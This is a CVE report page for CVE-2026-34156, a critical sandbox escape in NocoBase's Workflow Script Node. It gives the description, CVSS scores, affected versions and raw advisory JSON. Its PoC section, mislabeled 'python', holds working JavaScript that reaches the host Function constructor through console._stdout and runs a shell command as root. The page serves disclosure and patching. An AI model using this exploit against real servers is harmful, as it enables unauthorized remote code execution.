Security Vulnerability Report
中文
CVE-2026-34156 CVSS 9.9 CRITICAL

CVE-2026-34156

Published: 2026-03-31 14:16:12
Last Modified: 2026-04-07 20:57:56

Description

NocoBase is an AI-powered no-code/low-code platform for building business applications and enterprise solutions. Prior to version 2.0.28, NocoBase's Workflow Script Node executes user-supplied JavaScript inside a Node.js vm sandbox with a custom require allowlist (controlled by WORKFLOW_SCRIPT_MODULES env var). However, the console object passed into the sandbox context exposes host-realm WritableWorkerStdio stream objects via console._stdout and console._stderr. An authenticated attacker can traverse the prototype chain to escape the sandbox and achieve Remote Code Execution as root. This issue has been patched in version 2.0.28.

CVSS Details

CVSS Score
9.9
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:nocobase:nocobase:*:*:*:*:*:*:*:* - VULNERABLE
NocoBase < 2.0.28

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2026-34156 PoC Concept // The sandbox receives the host's 'console' object. // We can leverage internal properties to escape the vm sandbox. // 1. Access the internal stream object exposed via console const internalStream = console._stdout; // 2. Traverse the prototype chain to reach the base Object constructor // and eventually retrieve the host's Function constructor const HostFunction = Object.getPrototypeOf(internalStream).constructor.constructor; // 3. Use the HostFunction to execute code in the outer (host) context // 'process' is usually available in the global scope of Node.js const process = HostFunction('return process')(); // 4. Execute arbitrary system commands (e.g., RCE) process.mainModule.require('child_process').execSync('touch /tmp/pwned');

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-34156", "sourceIdentifier": "[email protected]", "published": "2026-03-31T14:16:12.170", "lastModified": "2026-04-07T20:57:55.957", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "NocoBase is an AI-powered no-code/low-code platform for building business applications and enterprise solutions. Prior to version 2.0.28, NocoBase's Workflow Script Node executes user-supplied JavaScript inside a Node.js vm sandbox with a custom require allowlist (controlled by WORKFLOW_SCRIPT_MODULES env var). However, the console object passed into the sandbox context exposes host-realm WritableWorkerStdio stream objects via console._stdout and console._stderr. An authenticated attacker can traverse the prototype chain to escape the sandbox and achieve Remote Code Execution as root. This issue has been patched in version 2.0.28."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.9, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.1, "impactScore": 6.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.9, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.1, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-913"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nocobase:nocobase:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.0.28", "matchCriteriaId": "2F4BBE86-4C61-42A4-B11E-1AFFE76B84B9"}]}]}], "references": [{"url": "https://github.com/nocobase/nocobase/pull/8967", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/nocobase/nocobase/releases/tag/v2.0.28", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/nocobase/nocobase/security/advisories/GHSA-px3p-vgh9-m57c", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}